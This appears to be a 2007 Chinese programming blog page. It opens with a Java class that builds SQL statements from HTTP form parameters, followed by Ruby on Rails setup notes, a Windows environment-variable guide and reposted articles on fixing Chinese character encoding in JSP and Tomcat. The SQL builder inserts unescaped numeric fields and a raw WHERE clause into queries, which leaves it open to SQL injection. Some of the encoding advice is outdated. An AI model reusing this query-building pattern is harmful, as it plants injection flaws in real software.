       colstr = colstr.substring(1);
       valstr = valstr.substring(1);
      }
      sqlstr = "INSERT INTO "+c_table+" ("+colstr+") VALUES ("+valstr+")";
      return sqlstr;
    }else if(c_genre.equalsIgnoreCase("UPDATE")){
      java.util.Enumeration arg_names = request.getParameterNames();
      String colstr = "";
      String arg_name,pre_name,end_name ;
      while(arg_names.hasMoreElements()){
       arg_name = String.valueOf(arg_names.nextElement()).trim();
       if(arg_name.length() < 2){
        continue;
       }
       pre_name = arg_name.substring(0,2);
       end_name = arg_name.substring(2);
       if(pre_name.equalsIgnoreCase("i_")){
        if(get(arg_name).equals("")){
         colstr += ","+end_name+"=NULL";
        }else{
         colstr += ","+end_name+"="+get(arg_name);
       }
      }else if(pre_name.equalsIgnoreCase("s_")){
       if(get(arg_name).equals("")){
        colstr += ","+end_name+"="+get(arg_name);
       }else{
        colstr += ","+end_name+"='"+get(arg_name).replaceAll("'","''")+"'";
       }
      }
    }
    if(!colstr.equals("")){
      colstr = colstr.substring(1);
    }
    sqlstr = "UPDATE "+c_table+" SET "+colstr;
    if(!c_where.equals("")){
      sqlstr += " WHERE "+c_where;
    }
    return sqlstr;
    }else if(c_genre.equalsIgnoreCase("DELETE")){
    sqlstr = "DELETE FROM "+c_table;
    if(c_where != null && !c_where.equals("")){
      sqlstr += " WHERE "+c_where;
    }
    }else{
      com.river.debug.Debug.show("unknow action type : "+c_genre);
      return null;
    }
    return sqlstr;
    }
    public String toString(){
      return "version 1.0, date 2005.03.02, author river";
    }
    }

    这样我们就可以根据页面元素的命名来指导SQL语句的生成。这样做有很多的明显的好处:

    1. 减少编码工作,对于元素很多表单,用不着我们去写一大堆的代码,不用去担心哪个元素落下了,元素名有没有些错,单引号有没有处理。

    2. 通用、稳定、易于维护,javabean固有的优点,就不用太多的说明了。

    3. 分离表层的表单内容与逻辑层SQL语句的构造。设想一下,如果我们数据库表结构有调整时,那么我们只要修改一下表单就好了,根本就不用理原来写好的逻辑处理。附带着再说一句,设想如果我们再写一个类自动执行SQL,那么对于一些基本的增、删、改操作都可以映射到同一个action里面来处理,且不是很爽?

    当然,这样做的缺点也是有的。那就是有一定的性能损耗。特别是碰到表单元素非常多时。但是对于那些不是很"苛刻"的项目这点损耗是值得的。

    posted @ 2007-08-03 20:59 jadmin 阅读(56) | 评论 (0)编辑 收藏

    世间人,法无定法,然后知非法法也;
    天下事,了犹未了,何妨以不了了之。

    道不是道,心亦非心;花开五叶,结果自成.

    posted @ 2007-08-03 04:03 jadmin 阅读(52) | 评论 (0)编辑 收藏
     
    posted @ 2007-07-24 03:13 jadmin 阅读(39) | 评论 (0)编辑 收藏

    =========================http://blog.csdn.net===================================

    进入软件开发行业也快一年了,很幸运一进入就加入了一个敏捷开发的团队,敏捷开发的思想确实很好,拥抱变化,最快的做用户需要的功能,越早发现错误,改正错误的代价就越小。最近看到《应用Rails进行敏捷Web开发》这本书,就买了下来,虽说现在一直在从事JAVA的开发工作,对ruby和rails也不了解,不过通过学习一些新的语言,来详细了解敏捷软件开发,岂不是一举两得!要运行书中的Depot项目就要安装ruby和rails,在网上google了一些资料,很顺利的跑起来了,先谢谢网上提供资料的各位了,下面是小弟的学习笔记,记录下来与大家共享。。。。。。。。。。。。。(偶用的是windows,对linux不是很熟悉呀)

    Ruby官方网站下载:http://www.ruby-lang.org/en/downloads/
    Rails的网站下载:http://rubyforge.org/

    1。到http://rubyforge.org/projects/instantrails/ 下载Instant Rails 1.4,解压放到D:\InstantRails里面。
    2。在我的电脑->属性->高级->环境变量,新建RUBY_HOME,值为D:\InstantRails\ruby,然后在Path变量值最后追加;%RUBY_HOME%\bin ,保存即可。
    3。在DOS下,输入:ruby -v,你就可以看到你所安装的ruby版本;输入:gem -v,你就可以看到你所安装的gem版本。
    4。到http://rubyforge.org/projects/rails/下载Rails1.1.6,包含(rails-1.1.6.zip,rails-1.1.6.gem),放到D:\Rails里面。
    5。在DOS下,切换到D:\Rails,输入:gem install rails,rails即安装成功,再输入:rails -v,你就可以看到你所安装的rails版本了。

    这样整个RubyOnRails的框架就安装好了,按照《应用Rails进行敏捷Web开发》书上的Depot示例操作,很容易就在20分钟就创建一个物品列表的web应用,真实神奇呀,可见Rails的强大呀,就写了那么几行代码呀!

    =========================http://www.uusam.com/=================================

    1.首先安装Ruby:

    One-Click Installer - Windows 1.8.5-21  

    下载地址:http://rubyforge.org/frs/?group_id=167&release_id=6672

    2.安装完毕后现在rubygems:

    rubygems -    REL_0_9_0  

    下载地址:http://rubyforge.org/frs/?group_id=126&release_id=5803

    解压出来运行 setup.rb 就ok了。

    3.安装rails及相关包:

    rails - REL 1.1.6  

    下载地址:http://rubyforge.org/frs/?group_id=307&release_id=6423,选择rails-1.1.6.gem下载。

    在控制台运行 gem install rails-1.1.6.gem会提示你相关的插件包,根据提示在下面网址下载以下包,这是我需要的包的。

    下载地址:http://rubyforge.vm.bytemark.co.uk/gems/

    activesupport-1.3.1.gem
    activerecord-1.14.4.gem
    actionpack-1.12.5.gem
    actionmailer-1.2.5.gem
    actionwebservice-1.1.6.gem


    先安装每个相关包,如:gem install activerecord-1.14.4.gem
    最后运行 gem install rails-1.1.6.gem 就ok了。
    对应每个版本的相关包也不一样,请查看你安装的的版本的依赖性。

    最后运行rails -v ,偶的是 1.1.6 。

    这就安装结束了。

    让我们开始ror的旅程吧!

    关于Ruby On Rails的介绍见如下链接:

    http://hi.baidu.com/jadmin/blog/item/1bf8800140e5cc01738da596.html

    posted @ 2007-07-24 00:14 jadmin 阅读(135) | 评论 (0)编辑 收藏

    一.彻底明白操作系统环境变量

    设置环境变量有两种方式:第一种是在命令提示符运行窗口中设置;第二种是通过单击“我的电脑→属性→高级”标签的“环境变量”按钮设置。需要注意的是,第一种设置环境变量的方式只对当前运行窗口有效,关闭运行窗口后,设置就不起作用了,而第二种设置环境变量的方式则是永久有效。

      2.如何在命令提示符窗口中设置环境变量?

      在“开始→运行”框中输入“cmd”后按“确定”按钮,出现命令运行窗口。在命令提示符下输入“set”即可查看环境变量设置。要查看具体某个环境变量的设置,比如要查看path环境变量的设置,可以输入“set path”。要创建一个环境变量,比如要创建一个名为aa的,值为“c:”的环境变量,可以输入“set aa=c:”命令。而要删除一个环境变量,比如要删除aa环境变量,则可输入“set aa=”命令(注意=后面不能有空格)。如何更改一个环境变量的设置呢?更改环境变量有两种情况:一是追加方式,即在不改变环境变量现有设置的情况下,增加变量的值,比如要给环境变量aa增加一个值为“D:”的设置,可以输入“set aa=%path%;D:”。另一种是完全修改方式,对于这种方式,我们可以采用直接创建一个环境变量的方法来实现。

      3.用户变量和系统变量的关系是什么?

      点击“我的电脑→属性→高级”标签的“环境变量”按钮,出现“环境变量”对话框,如果当前是以Administrator登录系统的用户,对话框的上面为Administrator的用户变量,对话框的下面为系统变量(即相当于系统中所有用户的用户变量)。有的时候我们会看到在用户变量和系统变量中都存在某一个环境变量,比如path,那么path的值到底是用户变量中的值还是系统变量中的值,或者两者都不是呢?答案是两者都不是。path变量的值是用户变量中的值与系统变量中的值的叠加。

      4.改变环境变量和环境变量中的值应该注意什么?

      环境变量和环境变量的值不要含有空格,也不要用中文,切记!

    二.Windows系统环境变量

    在Dos输入:SET 而不加参数,可以显示Windows当前的环境变量。

    Windows 系统环境变量列表:

    %ALLUSERSPROFILE% : 列出所有用户Profile文件位置。
    %APPDATA% :    列出应用程序数据的默认存放位置。
    %CD% :    列出当前目录。
    %CLIENTNAME% :    列出联接到终端服务会话时客户端的NETBIOS名。
    %CMDCMDLINE% :    列出启动当前cmd.exe所使用的命令行。
    %CMDEXTVERSION% :    命令出当前命令处理程序扩展版本号。
    %CommonProgramFiles% :    列出了常用文件的文件夹路径。
    %COMPUTERNAME% :    列出了计算机名。
    %COMSPEC% :    列出了可执行命令外壳(命令处理程序)的路径。
    %DATE% :    列出当前日期。
    %ERRORLEVEL% :    列出了最近使用的命令的错误代码。
    %HOMEDRIVE% :    列出与用户主目录所在的驱动器盘符。
    %HOMEPATH% :    列出用户主目录的完整路径。
    %HOMESHARE% :    列出用户共享主目录的网络路径。
    %LOGONSEVER% :    列出有效的当前登录会话的域名控制器名。
    %NUMBER_OF_PROCESSORS% :    列出了计算机安装的处理器数。
    %OS% :    列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)
    %Path% :    列出了可执行文件的搜索路径。
    %PATHEXT% :    列出操作系统认为可被执行的文件扩展名。
    %PROCESSOR_ARCHITECTURE% :    列出了处理器的芯片架构。
    %PROCESSOR_IDENTFIER% :    列出了处理器的描述。
    %PROCESSOR_LEVEL% :    列出了计算机的处理器的型号。
    %PROCESSOR_REVISION% :    列出了处理器的修订号。
    %ProgramFiles% :    列出了Program Files文件夹的路径。
    %PROMPT% :    列出了当前命令解释器的命令提示设置。
    %RANDOM% :    列出界于0 和 32767之间的随机十进制数。
    %SESSIONNAME% :    列出连接到终端服务会话时的连接和会话名。
    %SYSTEMDRIVE% :    列出了Windows启动目录所在驱动器。
    %SYSTEMROOT% :    列出了Windows启动目录的位置。
    %TEMP% and %TMP% :    列出了当前登录的用户可用应用程序的默认临时目录。
    %TIME% :    列出当前时间。
    %USERDOMAIN% :    列出了包含用户帐号的域的名字。
    %USERNAME% :    列出当前登录的用户的名字。
    %USERPROFILE% :    列出当前用户Profile文件位置。
    %WINDIR% :    列出操作系统目录的位置

    三.明明白白XP系统环境变量

    近日,笔者一个朋友的计算机出现了一个奇怪现象:在Windows XP系统的命令行模式中运行所有命令都提示该命令不是内部或外部命令,也不能运行可执行文件和或批处理文件。

      解决篇:

      笔者认为是执行这些命令的可执行文件被误删造成的,进入系统安装目录的system32目录中发现ipconfig等可执行文件仍然存在,并没有被删除或改动的迹象。

      第一步:在目录中直接运行这些可执行文件发现可以调出一个命令执行窗口,不过一闪即逝。由此可断定这些可执行文件没有问题,是完好无损的。

      第一步:输入“CMD”命令进入命令行模式,然后进入“c:\windows\system32”目录运行ipconfig命令,发现一切正常,IP地址及DNS等信息全部显示出来了。

      第四步:笔者通过“我的电脑→属性→高级”标签的“环境变量”按钮查看相关信息。发现“系统变量”中的Path项值为空,这应该是问题的关键,由于默认Path为空,所以在任意路径下运行诸如ipconfig的命令系统将无法找到该程序。双击path参数为其设置变量值“c:\windows\system32”。

      第六步:确定后再在命令行模式中输入“ipconfig”就能显示出正确的信息了。

      小提示:如果你希望设置多个默认路径可以采用诸如c:\windows\system32;c:\windows的形式,即中间用“;”隔开。

      思考篇:

      分析本地故障原因就是因为环境变量中的默认路径被删除的结果,默认路径一经设置,当前系统如有程序运行时需要某些DLL或EXE文件,以及Active控件时就会到所有默认路径中去查找,如果在这些目录中查找到相应的程序则自动加载,查找不到则报告缺少某某文件的错误信息。

      小知识:什么是环境变量?环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。简单地说这里的“Path”就是一个变量,里面存储了一些常用命令所存放的目录路径。

      很多朋友会在自己的计算机上安装双系统,例如C盘安装Windows 98,D盘安装Windows XP。可是某些软件往往只在Windows 98系统中安装,Windows XP系统中是无法正常使用的,比较麻烦却有效的方法是再安装一遍。当我们了解了环境变量中的用途后就可以很好解决双系统的软件共用问题。

      小提示:为什么在Windows 98中安装了的软件在Windows XP下无法运行呢(绿色软件除外)?原因是安装软件时往往须要向系统目录中复制某些文件,而使用另外一个系统时会由于缺少这些文件而无法运行。因此,我们可以通过设置环境变量的方法来解决这个问题。

      实例:通过设置默认路径解决双系统共用应用软件的问题

      任务描述:

      安装了双系统的本地计算机,C盘为Windows 98系统,安装了COOL 3D,D盘为Windows XP系统。希望在不重新安装软件的前提下可以在D盘系统中正常运行COOL 3D程序。

      在Windows XP中直接找到COOL 3D的安装目录并运行其执行文件,会弹出报错对话框。

      实现方法:

      第一步:在Windows XP系统中的“我的电脑”上点鼠标右键选择“属性”。在系统属性窗口选择“高级”标签并按“环境变量”按钮。

      第二步:将环境变量设置窗口中的系统变量里的Path值中添加如下目录:“c:\windows\system32;c:\windows\system;c:\windows”(不含引号)。

      第三步:设置完毕后就可以顺利运行COOL 3D了,如果需要系统文件会自动到上面提到的C盘Windows 98相应目录去查找。

      总结:

      有些软件不用通过在环境变量中修改默认路径的方法就可以在D盘系统中正常启动,例如超级解霸等软件,因为它们并没有往系统目录中复制任何文件。另外修改默认路径法也并不是对所有软件有效,对于一些启动需要加载注册表中键值才能使用的软件,可能会出现提示要求输入注册码的窗口,输入正确数值后仍即可正常使用。如果通过修改默认路径法仍然无法启动软件的话,很有可能是因为Windows 98与Windows XP系统的某些DLL文件有区别而无法通用,这种情况只能在Windows XP系统中重新安装该软件。
    四.我使用的系统为Windows XP,我想把系统临时文件(Temp文件)存放区由C盘移到其他分区(如D盘),请问该如何操作?

    在“我的电脑”上点鼠标右键,选择“属性”,然后进入高级选项,点“环境变量”,在“系统变量”下拉菜单中找到“TEMP”、“TMP”这两项,分别编辑,将变量值设为你需要改变的路径(例如D:\temp),注意两项改为相同路径,然后在D盘上建立一个temp目录,最后重启计算机即可。

    posted @ 2007-07-23 04:24 jadmin 阅读(92) | 评论 (0)编辑 收藏
    1 最基本的乱码问题。

    这个乱码问题是最简单的乱码问题。一般新会出现。就是页面编码不一致导致的乱码。

    <%@ page language="java" pageEncoding="UTF-8"%>

    <%@ page contentType="text/html;charset=iso8859-1"%>

    <html>

    <head>

    <title>中文问题</title>

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    </head>

    </head>

    <body>

        我是个好人

    </body>

    </html>

    三个地方的编码。

    第一个地方的编码格式为jsp文件的存储格式。Eclipse会根据这个编码格式保存文件。并编译jsp文件

    ,包括里面的汉字。

    第二处编码为解码格式。因为存为UTF-8的文件被解码为iso8859-1,这样 如有中文肯定出乱码。也就

    是必须一致。而第二处所在的这一行,可以没有。缺省也是使用iso8859-1的编码格式。所以如果没有

    这一行的话,“我是个好人”也会出现乱码。必须一致才可以。

        第三处编码为控制浏览器的解码方式。如果前面的解码都一致并且无误的话,这个编码格式没有关系

    。有的网页出现乱码,就是因为浏览器不能确定使用哪种编码格式。因为页面有时候会嵌入页面,导致

    浏览器混淆了编码格式。出现了乱码。

    2 表单使用Post方式提交后接收到的乱码问题

    这个问题也是一个常见的问题。这个乱码也是tomcat的内部编码格式iso8859-1在捣乱,也就是说post

    提交时,如果没有设置提交的编码格式,则会以iso8859-1方式进行提交,接受的jsp却以utf-8的方式

    接受。导致乱码。既然这样的原因,下面有几种解决方式,并比较。

    A 接受参数时进行编码转换

    String str = new String(request.getParameter("something").getBytes("ISO-8859-1"),"utf-8")

    ; 这样的话,每一个参数都必须这样进行转码。很麻烦。但确实可以拿到汉字。

    B 在请求页面上开始处,执行请求的编码代码, request.setCharacterEncoding("UTF-8"),把提交内

    容的字符集设为UTF-8。这样的话,接受此参数的页面就不必在转码了。直接使用

    String str = request.getParameter("something");即可得到汉字参数。但每页都需要执行这句话。

    这个方法也就对post提交的有效果,对于get提交和上传文件时的enctype="multipart/form-data"是无

    效的。稍后下面单独对这个两个的乱码情况再进行说明。

    C 为了避免每页都要写request.setCharacterEncoding("UTF-8"),建议使用过滤器对所有jsp

        进行编码处理。这个网上有很多例子。请大家自己查阅。

    3 表单get提交方式的乱码处理方式。

    如果使用get方式提交中文,接受参数的页面也会出现乱码,这个乱码的原因也是tomcat的内部编码格

    式iso8859-1导致。Tomcat会以get的缺省编码方式iso8859-1对汉字进行编码,编码后追加到url,导致

    接受页面得到的参数为乱码/、。

    解决办法:

    A 使用上例中的第一种方式,对接受到的字符进行解码,再转码。

    B Get走的是url提交,而在进入url之前已经进行了iso8859-1的编码处理。要想影响这个编码则需要在

    server.xml的Connector节点增加useBodyEncodingForURI="true"

    属性配置,即可控制tomcat对get方式的汉字编码方式,上面这个属性控制get提交也是用

    request.setCharacterEncoding("UTF-8")所设置的编码格式进行编码。所以自动编码为utf-8,接受页

    面正常接受就可以了。但我认为真正的编码过程是,tomcat又要根据

    <Connector port="8080"

    maxThreads="150" minSpareThreads="25" maxSpareThreads="75"

    enableLookups="false" redirectPort="8443" acceptCount="100"

    debug="0" connectionTimeout="20000" useBodyEncodingForURI="true"

    disableUploadTimeout="true" URIEncoding=”UTF-8”/>

    里面所设置的URIEncoding=”UTF-8”再进行一次编码,但是由于已经编码为utf-8,再编码也不会有变

    化了。如果是从url获取编码,接受页面则是根据URIEncoding=”UTF-8”来进行解码的。

    4 上传文件时的乱码解决

        上传文件时,form表单设置的都是enctype="multipart/form-data"。这种方式以流方式提交文件。

    如果使用apach的上传组件,会发现有很多乱码想象。这是因为apach的先期commons-fileupload.jar有

    bug,取出汉字后进行解码,因为这种方式提交,编码又自动使用的是tomcat缺省编码格式iso-8859-1

    。但出现的乱码问题是: 句号,逗号,等特殊符号变成了乱码,汉字如果数量为奇数,则会出现乱码

    ,偶数则解析正常。

          解决方式: 下载commons-fileupload-1.1.1.jar 这个版本的jar已经解决了这些bug。

    但是取出内容时仍然需要对取出的字符进行从iso8859-1到utf-8转码。已经能得到正常所有汉字以及字

    符。

    5 Java代码关于url请求,接受参数的乱码

    url的编码格式,取决于上面所说的URIEncoding=”UTF-8”。 如果设定了这个编码格式,则意味着所

    有到url的汉字参数,都必须进行编码才可以。否则得到的汉字参数值都是乱码,例如

    一个链接 Response.sendDerect(“/a.jsp?name=张大维”);而在a.jsp里面直接使用

    String name");得到的就是乱码。因为规定了必须是utf-8才可以,所以,这个转向应该这样写:

          Response.sendDerect(“/a.jsp?name=URLEncode.encode(“张大维”,”utf-8”);才可以。

    如果不设置这个参数URIEncoding=”UTF-8”, 会怎么样呢? 不设置则就使用了缺省的编码格式

    iso8859-1。问题又出来了,第一就是参数值的个数如果是奇数个数,则就可以正常解析,如果使偶数

    个数,得到最后字符就是乱码。还有就是如果最后一个字符如果是英文,则就能正常解析,但中文的标

    点符号仍出现乱码。权宜之计,如果您的参数中没有中文标点符号,则可以在参数值最后加一个英文符

    号来解决乱码问题,得到参数后再去掉这个最后面的符号。也可以凑或使用。

    6 脚本代码关于url请求,接受到的参数乱码

    脚本中也会进行页面转向的控制,也会涉及到附带参数,并在接受页面解析这个参数的情况。如果这个

    汉字参数不进行URIEncoding=”UTF-8”所指定的编码处理,则接受页面接受到的汉字也是乱码。脚本

    处理编码比较麻烦,必须有相应的编码脚本对应文件,然后调用脚本中的方法对汉字进行编码即可。

    7 关于jsp在MyEclipse中打开的乱码问题

    对于一个已经存在的项目,Jsp文件的存储格式可能是utf-8。如果新安装的eclipse,则缺省打开使用

    的编码格式都是iso8859-1。所以导致jsp里面的汉字出现乱码。这个乱码比较容易解决,直接到

    eclipse3.1的偏好设置里面找到general-〉edidor,设置为您的文件打开编码为utf-8即可。Eclipse会

    自动重新以新的编码格式打开。汉字即可正常显示。

    8 关于html页面在eclipse中打开出现乱码情况

    由于大部分页面都是由dreamweaver制作,其存储格式跟eclipse的识别有差别导致。

    一般这种情况,在eclipse中新建一个jsp,直接从dreamweaver复制页面内容粘贴到jsp即可。
    //////////////////////////////////////////////////////////////////////////////////////////
    jsp中文乱码问题的解决办法 jsp中java中文编码问题的个人经验|终于看到一个完全解决的方案
    四月 5th, 2006
    ====================http://www.glgg.net/blog===================

    开发java应用出现乱码是很常见的,毕竟现在unicode的使用还不是很广泛,在使用gb2312(包含了gbk

    简体,big5繁体)的系统中要正确实现

    中文的display和数据库的存储是最基本的要求。

    ========================http://www.glgg.net/blog===============
    1,首先developer要明确自己为什么会遇到乱码,遇到什么样的乱码(无意义的符号还是一串问号或者

    其它什么东西)。
    新手遇到一堆很乱的字符时通常不知所措,最直接的反映就是打开google搜索”java中文”(这个字符

    串在搜索引擎上的查询频率非常高),

    然后一个一个的去看别人的解决方法。这样做没有错,但是很难达到目的,原因下面会提到。
    总之,出现乱码的原因是非常多的,解决的方法也完全不一样,要解决问题必须先分析自己的”上下文

    环境”。

    ========================http://www.glgg.net/blog===============
    2,具体说来,需要哪些信息才能确定项目中的乱码的根源。
    a,开发者所用的操作系统
    b,j2ee容器的名称,版本
    c,数据库的名称,版本(精确版本)以及jdbc驱动的版本
    d,出现乱码的source code(比如是system out 出来的,还是jsp页面中的,如果是jsp中的,那么头

    部声明的情况也很重要)

    =========================http://www.glgg.net/blog==============
    3,如何初步分析乱码出现的原因。
    有了上述的信息,基本上就可以发帖求助了,相信放到javaworld等论坛上,很快就会有高手给你提出

    有效的解决方案的。
    当然不能总靠发帖求助,也要试试自行解决问题。如何下手呢?
    a,分析一下你的”乱码”到底是什么编码。这个其实不难,比如
    System.out.println(testString);
    这一段出现了乱码,那么不妨用穷举法猜测一下它的实际编码格式。
    System.out.println(new String(testString.getBytes(”ISO-8859-1〃),”gb2312〃));
    System.out.println(new String(testString.getBytes(”UTF8〃),”gb2312〃));
    System.out.println(new String(testString.getBytes(”GB2312〃),”gb2312〃));
    System.out.println(new String(testString.getBytes(”GBK”),”gb2312〃));
    System.out.println(new String(testString.getBytes(”BIG5〃),”gb2312〃));
    等等,上述代码的意思是用制定的编码格式去读取testString这个”乱码”,并转换成gb2312(此处仅

    以中文为例)
    然后你看哪一个转换出来的结果是ok的,那就。。。

    b,如果用上面的步骤能得到正确的中文,说明你的数据肯定是在的,只不过是界面中没有正确显示而

    已。那么第二步就该纠正你的view部分了

    ,通常需要检查的是jsp中是否选择了正确的页面编码。

    在此要声明被很多人误解的一点,那就是<%@ page contentType=”text/html; charset=GB2312〃 %>

    指令和<META http-equiv=Content-Type

    content=”text/html; charset=gb2312〃>两者的不同。通常网上的很多文章在提到中文问题时都是说

    数据库中选择unicode或者gb2312存储,同

    时在jsp中用page指令声明编码就可以解决。但是我觉得这种说法很不负责任,害的我费了N多时间为本

    来并不存在的乱码而郁闷。实际上page

    的作用是在jsp被编译成为html的过程中提供编码方式让java来”读取”表达式当中的String(有点类

    似于上面的第三个语句的作用),而meta

    的作用是众所周知的为IE浏览器提供编码选择,是用来”显示”最后的数据的。但是没有看到有人提醒

    这一点,我一直把page当成meta在用,

    导致本来是iso-8859的数据,被page指令读成gb2312,于是乱码,所以又加了编码转化的函数把所有的

    string数据都从iso8859转到gb2312(为

    什么这么转,当时也没考虑这么多,因为这么做可以正常显示了,所以就这么改了,呵呵当时实在没有

    时间慢慢排查问题了)。

    ===========================http://www.glgg.net/blog==============

    4,数据库选择什么样的编码比较好。
    目前流行的DB主要有sql server,mysql,oracle,DB2等,其中mysql作为免费DB中的老大,性能和功

    能是得到公认的,安装配置比较方便,相

    应的driver也比较完善,性价比是绝对的OK。所以就以mysql为例。

    我个人建议采用mysql的默认编码来存储,也就是iso-8859-1(在mysql的选项中对应于latin-1)。理

    由主要有这么几个,一是iso-8859-1对中

    文的支持不错;二是跟java中的默认编码一致,至少在很多地方免除了转换编码的麻烦;三是默认的比

    较稳定,兼容性也更好,因为多编码的

    支持是由具体的DB产品提供的,别说跟其它的DB会不兼容,即使自身的不同版本也可能出现兼容性的问

    题。

    例如mysql 4.0以前的产品中,很多中文的解决方案是利用connection中的characterEncoding字段来制

    定编码,比如gb2312什么的,这样是ok

    的,因为原数据都是ISO8859_1编码,jdbc驱动会采用url里面指定的character set来进行编码,

    resultSet.getString(*)取出的就是编码后的

    字符串。这样就直接拿到gb2312的数据了。

    但是mysql 4.1的推出给很多dbadmin带来了不小的麻烦,因为mysql4.1支持column level的character

    set,每个table,column都可以指定编码

    ,不指定就是ISO8895_1,因此jdbc取出数据后会根据column的character set来进行编码,而不再是用

    一个全局的参数来取所有的数据了。

    这从另一个方面也说明了乱码问题的产生实在是很复杂的事情,原因太多了。我也只是针对自己遇

    ////////////////////////////////////////////////////////////////////////////////////////
                     jsp中文问题解决之道[转载]

    和Java一样,JSP是目前比较热门的一个话题。它是一种在服务器端编译执行的Web设计语言,因为脚本

    语言采用了Java,所以JSP继承了Java的所有优点。可是在使用JSP程序的过程中,常遇到中文乱码问题

    ,很多人为此头疼不已,初学的时候我就深受其害,而且使用平台不同,中文乱码问题的解决方法也不

    同,无形中增加了学习JSP的难度。其实,在彻底了解相关原因后,问题还是比较容易解决的。,以下

    是我总结的解决方法,相信对读者会有一定的借鉴意义。    (因为我使用得最多的是Tomcat环境,所以

    主要是以Tomcat为例,其它的环境只会提及一下,但解决办法也是差不多的!
    每个国家(或区域)都规定了计算机信息交换用的字符编码集,如美国的扩展ASCII码、中国的GB2312

    -80、日本的    JIS    等,作为该国家(区域)信息处理的基础,有着统一编码的重要作用。由于各本地字

    符集代码范围重叠,相互间信息交换困难,软件本地化版本独立维护成本较高。因此有必要将本地化工

    作中的共性抽取出来,做一致性处理,将特殊的本地化处理内容降低到最少,这就是所谓的国际化

    (I18N)。各种语言信息被规范为本地信息,而底层字符集采用包含了所有字符的Unicode。  

    相信了解JSP代码的读者对ISO8859-1一定不陌生,ISO8859-1是我们平时使用比较多的一个CodePage,

    它属于西欧语系。GB2312-80    是在国内计算机汉字信息技术发展初始阶段制订的,其中包含了大部分

    常用的一、二级汉字和9区的符号。该字符集是几乎所有的中文系统和国际化的软件都支持的中文字符

    集,这也是最基本的中文字符集。  

    GBK    是    GB2312-80    的扩展,是向上兼容的。它包含了20902个汉字,其编码范围是    0x8140~

    0xFEFE,剔除高位    0x80    的字位,其所有字符都可以一对一映射到    Unicode    2.0,也就是说    Java

    实际上提供了对    GBK    字符集的支持。  

    >GB18030-2000(GBK2K)    在    GBK    的基础上进一步扩展了汉字,增加了藏、蒙等少数民族的文字。

    GBK2K    从根本上解决了字位不够、字形不足的问题。  
    1.Tomcat    4开发平台  
    这个版本应该是我们经常用到的版本,所以讨论得会比较详细。
    Windows    98/2000下的Tomcat    4以上版本都会出现中文问题(而在Linux下和Tomcat    3.x中则没有问

    题),主要表现是页面显示乱码。
    为解决这个问题,最简单的方法就是在每个JSP的页面开始处加上<%@    page    language=“Java”  

    contentType=“text/html;    charset=gb2312”%>。不过,这还不够,虽然这时显示了中文,但是发现

    从数据库读出的字段变成了乱码。经过分析发现:    在数据库中保存的中文字符是正常的,数据库用

    ISO8859-1字符集存取数据,而Java程序在处理字符时默认采用统一的ISO8859-1字符集(这也体现了

    Java国际化思想),所以在数据添加的时候Java和数据库都是以ISO8859-1方式处理,这样不会出错。但

    是在读取数据的时候就出现问题了,因为数据读出也采用ISO8859-1字符集,而    JSP的文件头中有语句

    <%@    page    language=“Java”    contentType=“text/html;    charset=gb2312”%>,这说明页面采用

    GB2312的字符集显示,这样就和读出的数据不一样。这时页面显示从数据库中读出的字符是乱码,解决

    的方法是对这些字符转码,从ISO8859-1转成GB2312,就可以正常显示了。这个解决办法对很多平台具

    有通用性,读者可以灵活运用。具体的方法会在以下详细讲解。另外,对于不同的数据库如SQL  

    Server,Oracle,Mysql,Sybase等,字符集的选择很重要。如果考虑多语言版本,数据库的字符集就

    应该统一采用ISO8859-1,需要输出的时候在不同的字符集之间做转换就可以了。  
    以下是针对不同平台的总结:  
    (1)    JSWDK只适合于普通开发,稳定性和其他问题可能不如商业软件。    由于JDK    1.3版性能要好于

    JDK    1.2.2很多,并且对中文的支持也较好,所以应该尽量采用。    现在jdk已经出到1.4版本了,所以

    如果允许最好升级到最新的版本,这样对中文的也会较好,而且还可以得到更多的支持。  
    (2)    Tomcat仅仅是一个对JSP    1.1、Servlet    2.2标准的实现,    我们不应该要求这个免费软件在细节

    和性能上都面面俱到,    它主要考虑英文用户,    这也是为什么不做特殊转换,汉字用URL方法传递就有

    问题的原因。大部分IE浏览器缺省始终以UTF-8发送,    这似乎是Tomcat的一个不足,    另外Tomcat不管

    当前的操作系统是什么语言,    都按ISO8859去编译JSP,    似乎也欠妥。  
    2.JSP代码的中文处理
    (1)如果与数据无关的操作,可以在页面首行加入
    (2)将Form中的值传送到数据库中再取出来后全变成了“?”。Form用POST提交数据,代码中使用了语

    句:
    String    st=new(request.getParameter(“name”).getBytes(“ISO8859_1”)),    而且也声明了

    charset=gb2312。  

    要处理Form中传递的中文参数,应该在JSP中加入下面的代码,另外定义一个专门解决这个问题的

    getStr类,然后对接收到的参数进行转换:  
    String    keyword1=request.getParameter(“keyword1”);  
    keyword1=getStr(keyword1);  
    这样就可以解决问题了,代码如下:  
    <%@    page    contentType=“text/html;charset=gb2312”%>  
    <%!  
    public    String    getStr(String    str){  
    try{String    temp_p=str;  
    byte[]    temp_t=temp_p.getBytes(“ISO8859-1”);  
    String    temp=new    String(temp_t);  
    return    temp;  
    }  
    catch(Exception    e){    }  
    return    “NULL”;  
    }  
    %>  
    <%--
    http://www.cndes.com测试--%>  
    <%    String    keyword=“创联网络技术中心欢迎您的到来”;  
    String    keyword1=request.getParameter(“keyword1”);  
    keyword1=getStr(keyword1);  
    out.print(keyword);  
    out.print(keyword1);  
    %>  
    另外,流行的关系数据库系统都支持数据库Encoding,也就是说在创建数据库时可以指定它自己的字符

    集设置,数据库的数据以指定的编码形式存储。当应用程序访问数据时,在入口和出口处都会有  

    Encoding    转换。对于中文数据,数据库字符编码的设置应当保证数据的完整性。    GB2312、GBK、

    UTF-8    等都是可选的数据库    Encoding,也可以选择    ISO8859-1    (8-bit),    但会增加了编程的复

    杂度,ISO8859-1不是推荐的数据库    Encoding。在JSP/Servlet编程时,可以先用数据库管理系统提供

    的管理功能检查其中的中文数据是否正确。  

    (3)JDBC    Driver的字符转换  
    目前大多数JDBC    Driver采用本地编码格式来传输中文字符,例如中文字符“0x4175”会被转成“0x41

    ”和“0x75”进行传输。因此需要对JDBC    Driver返回的字符以及要发给JDBC    Driver的字符进行转换

    。当用JDBC    Driver向数据库中插入数据时,需要先将Unicode转成Native    code;    当    JDBC    Driver

    从数据库中查询数据时,则需要将Native    code转换成Unicode。下面给出了这两种转换的实现:  
